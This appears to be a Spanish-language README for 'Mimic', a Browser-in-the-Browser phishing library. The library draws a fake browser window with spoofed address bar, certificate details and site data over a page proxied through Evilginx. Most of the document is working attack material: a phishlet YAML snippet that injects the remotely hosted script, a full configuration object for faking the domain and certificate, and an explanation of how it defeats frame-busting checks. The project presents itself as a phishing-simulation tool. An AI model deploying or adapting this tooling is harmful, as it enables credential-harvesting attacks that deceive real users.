
Frameless Browser‑in‑the‑Browser (BitB) - Sin iframes, sin problemas de frame‑busting. Una librería de un solo script basada en Shadow DOM / MutationObserver para simulaciones de phishing realistas, fácilmente inyectable mediante proxy inverso.
Navegador‑en‑el‑navegador (BitB) sin marcos: sin iframes, sin problemas de frame‑busting. Una librería de un solo script basada en Shadow DOM / MutationObserver para simulaciones de phishing realistas, fácilmente inyectable mediante proxy inverso.
⚠️ Advertencia: Utilice este software únicamente de acuerdo con su legislación vigente. El uso indebido de este software puede plantear problemas legales y éticos que no apoyo ni de los que puedo considerarme responsable.
MalwareMonster y yo desarrollamos una prueba de concepto en esta línea hace aproximadamente siete años, llamada FISHY. El proyecto demostró con éxito el vector BitB, aunque su usabilidad era notablemente limitada. mrd0x más tarde llamó la atención de la comunidad de investigación en seguridad sobre este concepto con su proyecto BITB aproximadamente dos años después. Sin embargo, la fuerte dependencia de los iframes resultó incompatible con las técnicas modernas de frame‑busting. Aunque se podían usar sustituciones para reescribir el JavaScript de frame‑busting, este enfoque resultaba tedioso y requería ajustes continuos.
waelmas lanzó posteriormente frameless-bitb unos 2 años más tarde, introduciendo un mecanismo particularmente ingenioso. Al sustituir el iframe por un Shadow DOM junto con un MutationObserver, reasignó eficazmente el contenido de phishing a un div dentro del documento principal. Fundamentalmente, este contenido seguía formando parte del DOM principal en lugar de residir en un marco aislado. Debido a que la página de phishing seguía siendo el DOM principal, las rutinas de frame‑busting nunca se invocaban en primer lugar. Esto resolvió el obstáculo técnico principal, supuso un avance significativo y proporcionó una base conceptual sólida para refinamientos posteriores.
Con esa innovación, waelmas nos devolvió el testigo de manera efectiva. Su implementación implicaba una arquitectura más distribuida, que requería la instalación de servicios, configuración de Apache, archivos HTML, CSS y JavaScript separados, interfaces de usuario distintas y una selección estática del sistema operativo (ya sea Windows o macOS) sin detección dinámica del navegador. Si bien estos elementos eran razonables dada la naturaleza de prueba de concepto, reconocimos que la lógica central de Shadow DOM y MutationObserver podía aislarse e inyectarse directamente en nuestro proxy inverso Evilginx existente mediante un solo script. Esto nos permitió producir una librería de JavaScript ligera y sin dependencias que renderiza un navegador falso realista dentro de cualquier página web sin iframes, preservando la técnica de evasión creativa que waelmas introdujo originalmente.
Mimic crea un navegador falso realista sobre la página web actual, con barra de direcciones, controles de ventana, información del sitio, detalles del certificado, cookies y datos del sitio, temas y estilos específicos del sistema operativo.
En lugar de cargar el sitio web objetivo dentro de un iframe, Mimic toma el DOM real del sitio web y lo inyecta directamente en el viewport del navegador falso.
El navegador falso en sí reside dentro de un Shadow DOM abierto, que aísla sus estilos del sitio web. El sitio web permanece en el light DOM y se inserta en el navegador falso mediante:
<slot name="mimic-content"></slot>
Si no se proporciona ningún content, Mimic captura automáticamente la página actual moviendo el contenido existente del body a un contenedor interno. Conserva estilos importantes como el fondo, el color del texto, las fuentes, el tamaño de fuente y la altura de línea antes de inyectar el sitio web en el navegador falso.
Debido a que el sitio web se mueve al navegador falso en lugar de incrustarse en otro contexto de navegación, sigue siendo la página real de nivel superior.
Esto significa que las comprobaciones tradicionales de frame‑busting basadas en iframes, como:
if (top !== self) {
top.location = self.location;
}
no se activan, porque:
top === self
El sitio web sigue creyendo que se ejecuta como página de nivel superior. Su JavaScript, eventos, almacenamiento, navegación y lógica de aplicación existentes siguen funcionando con normalidad mientras la página está visualmente contenida dentro del navegador falso.
Mimic también escala automáticamente el sitio web inyectado para ajustarlo al viewport del navegador falso. El desplazamiento se gestiona trasladando la capa de contenido, mientras que los listeners de resize y MutationObserver vuelven a medir el contenido a medida que el sitio web carga o cambia.
La pestaña real del navegador también se puede controlar mediante documentTitle y documentFavicon. Mimic supervisa ambos valores y los restaura si el sitio web intenta cambiarlos.
Mimic es encapsulación visual, no una sandbox de JavaScript. El sitio web inyectado conserva acceso a las API reales de
window,document, almacenamiento, historial y navegación.
Añade esto al YAML de tu phishlet para inyectar Mimic:
script: |
// Inject the BitB script
(function () {
window.addEventListener('load', () => {
var s = document.createElement('script');
s.src = 'https://0x4meliorate.github.io/Mimic/mimic.js';
s.onload = function () {
openBrowserWindow({ debug: false });
};
document.body.appendChild(s);
});
})();
La configuración se puede cambiar directamente en el CONFIG de mimic.js, o se puede pasar como argumentos cuando se invoca la función (openBrowserWindow):
openBrowserWindow({
// Displayed URL
domain: 'example.com',
addressText: '/login',
scheme: 'https://',
// Fake browser
pageTitle: 'Example - Sign in',
favicon: 'https://example.com/favicon.ico',
// Real browser tab
documentTitle: 'Example App',
documentFavicon: 'https://example.com/app.ico',
// Content
// HTMLElement, CSS selector, HTML string, or function
// Leave empty to capture the current website automatically
content: '',
contentWidth: 0,
// Fake browser size
windowWidth: 'min(800px, 95vw)',
windowHeight: 'min(650px, 90vh)',
// Browser-style links
learnMoreUrl: 'https://example.com/security',
siteSettingsUrl: 'https://example.com/settings',
// Cookie summary
cookies: {
sitesAllowed: '5 sites allowed'
},
// Behaviour
autoOpen: false,
os: null, // null (auto) | 'mac' | 'windows' | 'linux'
theme: 'auto', // 'auto' | 'light' | 'dark'
debug: false,
onClose: null,
// Landing page
landing: true, // true | false | custom HTML string
enterSelector: '#landingpage-enter-btn',
// On-device site data
siteData: {
intro: 'Sites may save activity to your device.',
manageLinkText: 'Manage site data',
manageUrl: '',
sections: [
{
title: "Data from the site that you're visiting",
description: 'Information stored by this site.',
sites: [
{ name: 'example.com' },
{
name: 'cdn.example.com',
subtitle: 'Additional site information'
}
]
}
]
},
// Certificate viewer
certificate: {
subject: {
commonName: 'example.com',
organisation: 'Example Corporation',
organisationalUnit: '<Not part of certificate>'
},
issuer: {
commonName: 'Example TLS CA',
organisation: 'Example Certificate Authority',
organisationalUnit: '<Not part of certificate>'
},
validity: {
issuedOn: '10 August 2026',
expiresOn: '18 November 2026'
},
fingerprints: {
certificate: '...',
publicKey: '...'
},
hierarchy: {
name: 'Example Root CA',
children: [
{
name: 'Example Intermediate CA'
}
]
},
fields: {
name: 'example.com',
children: [
{
name: 'Certificate',
children: [
{ name: 'Version', value: 'V3' },
{ name: 'Serial Number', value: '...' },
{ name: 'Subject', value: 'CN = example.com' }
]
}
]
}
}
});
Captura e inyecta el sitio web actual:
openBrowserWindow();
Abrir sin la página de aterrizaje:
openBrowserWindow({
landing: false
});
Abrir automáticamente la ventana del navegador falso:
openBrowserWindow({
autoOpen: true
});
Habilitar depuración (cambio de sistema operativo y tema):
openBrowserWindow({
debug: true
});
Anular la apariencia manualmente:
openBrowserWindow({
os: 'windows',
theme: 'dark'
});
Establecer el contenido de la ventana del navegador falso (elemento, selector, cadena HTML o función para inyectar en el navegador falso):
openBrowserWindow({
content: '#page-content'
});
| Option | Description |
|---|
domain | Dominio mostrado en la barra de direcciones falsa |
addressText | Ruta y consulta mostradas después del dominio |
scheme | Esquema de URL mostrado |
pageTitle | Título de la ventana del navegador falso |
favicon | Favicon del navegador falso |
documentTitle | Título de la pestaña real del navegador |
documentFavicon | Favicon de la pestaña real del navegador |
content | Elemento, selector, cadena HTML o función para inyectar en el navegador falso |
contentWidth | Ancho base utilizado al escalar el sitio web inyectado |
windowWidth | Ancho del navegador falso |
windowHeight | Alto del navegador falso |
learnMoreUrl | Destino del enlace de seguridad "Learn More" (Más información) |
siteSettingsUrl | Destino para la configuración del sitio |
cookies | Configuración del resumen de cookies |
autoOpen | Abre automáticamente el navegador falso cuando se crea la página de aterrizaje |
os | null, mac, windows o linux; null utiliza la detección automática |
theme | auto, light o dark |
debug | Muestra el selector de sistema operativo y tema |
onClose | Función llamada cuando el navegador falso se cierra |
landing | Habilita, deshabilita o reemplaza la página de aterrizaje |
enterSelector | Selector para el elemento de la página de aterrizaje que abre el navegador falso |
siteData | Configura el diálogo de datos del sitio en el dispositivo |
certificate | Configura el visor de certificados |